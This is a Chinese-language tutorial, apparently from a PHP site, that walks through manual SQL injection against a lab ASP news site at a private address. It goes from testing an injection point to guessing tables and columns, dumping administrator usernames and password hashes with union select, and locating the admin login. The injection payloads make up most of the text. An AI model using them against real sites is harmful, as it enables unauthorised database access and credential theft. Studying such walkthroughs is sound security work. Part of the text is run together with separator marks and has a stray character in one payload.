SQL注入是***對資料庫進行***的常用手段之一,其核心思想在於:***在正常的需要呼叫資料庫資料的URL後面建構一段資料庫查詢程式碼,然後根據傳回的結果,從而獲得想要的某些數據。接下來我們將利用SQL注入漏洞,對已經建置好的***平台進行攻擊,以取得網站管理員的帳號和密碼。目標伺服器IP位址:192.168.80.129,***主機IP位址:192.168.80.128。
(1)尋找注入點
隨便開啟一個網頁,注意觀察URL。
注入點必定是類似「http://192.168.80.129/shownews.asp?id=7」這類存在指令呼叫的頁面,「shownews.asp? id=7”是頁面傳值,就是將「id=7」傳到「shownews.asp」頁面裡處理。
我們可以在這個URL後面加上and 1=1和and 1=2進行測試。
http://192.168.80.129/shownews.asp?id=7 and 1=1 ,網頁仍能正常顯示。
http://192.168.80.129/shownews.asp?id=7 and 1=2 ,網頁無法正常顯示。
這表示「asp?」把我們自己加上的「and 1=1」也作為一個命令參數進行了調用,那我們就可以來構造一些SQL語句來被調用執行,從而得到需要的資訊,這就是所謂的注入漏洞。像這樣可以呼叫指令參數的網頁就稱為注入點。
(2)猜表名
***進行網站***的主要目的是取得網站管理員的使用者名稱和密碼,使用者名稱和密碼都是存放在後台資料庫的某個表中,所以首先我們得猜出這個資料表的名字是什麼。
表名用的最多的是admin和admin_user,我們可以在註入點URL的後面加上這樣一條語句來猜表名:
http://192.168.80.129/shownews .asp?id=7 and (select count(*) from admin) > 0
「select count(*) from admin」的意思是統計admin表中有幾筆記錄,如果admin表存在,那麼這條語句就會得到一個數值。只要這個數值與0進行比較,結果就是正確的,因此網頁應該可以正常顯示。反之,如果admin表不存在,那麼「select count(*) from admin」就得不到任何數值,跟>0比較,結果不成立,網頁也就無法正常顯示。
如果網頁無法正常顯示,可以再換一個表名來嘗試,直到正常顯示:
http://192.168.80.129/shownews.asp?id=7 and (select count(*) 從 admin_user) > 0
http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0
這個網站的表名就是manage_user。
常見表名主要有:admin sysadmin manger admin123 webadmin member manage_user
###注意:如果表名實在猜不出來,也可以使用明小子之類的工具來幫忙。 ######### #########(3)猜欄位的數量##########下一步是猜這個表中哪個欄位存放著使用者名稱和密碼,首先需要知道資料表中一共有幾個欄位。 ######這裡要用到「order by」語句,「order by」的本意是依照某個欄位排序,「order by 10」就是依照第10個欄位排序,如果第10個欄位存在,那麼網頁就會正常顯示,否則如果網頁無法正常顯示,則表示第10欄位不存在。 ######http://192.168.80.129/shownews.asp?id=7 order by 11######透過這種方法可以猜出這個表格一共有11個欄位。 #########(4)猜字段名#########下一步是需要知道哪個欄位存放著使用者名稱和密碼,這裡用到「union select」聯合查詢語句。 ######http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user#### ##這裡會將存放使用者名稱和密碼的欄位爆出。 ######### ######存放使用者名稱的欄位一般叫username,存放密碼的欄位一般叫password,將第2和第3欄位替換成這兩個名字:#### ##http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user######這時就將用戶名和密碼爆出了。 ######### #########(5)猜後台管理入口#########這個南方資料範本2.0版已經包含了一個名為「管理員登錄」的連結。現在大多數網站不會這樣設定的,所以這裡一般要憑經驗來猜,管理入口一般存放在名為admin的網站子目錄下,輸入下面的地址http://192.168.80.129/admin,就自動將管理入口顯示出來了。 ######### ###在這裡就可以用之前爆出的管理員帳號和密碼來登錄,但是密碼「3acdbb255b45d296」很明顯是經過MD5加密的。
以上是如何實現手動SQL注入的詳細內容。更多資訊請關注PHP中文網其他相關文章!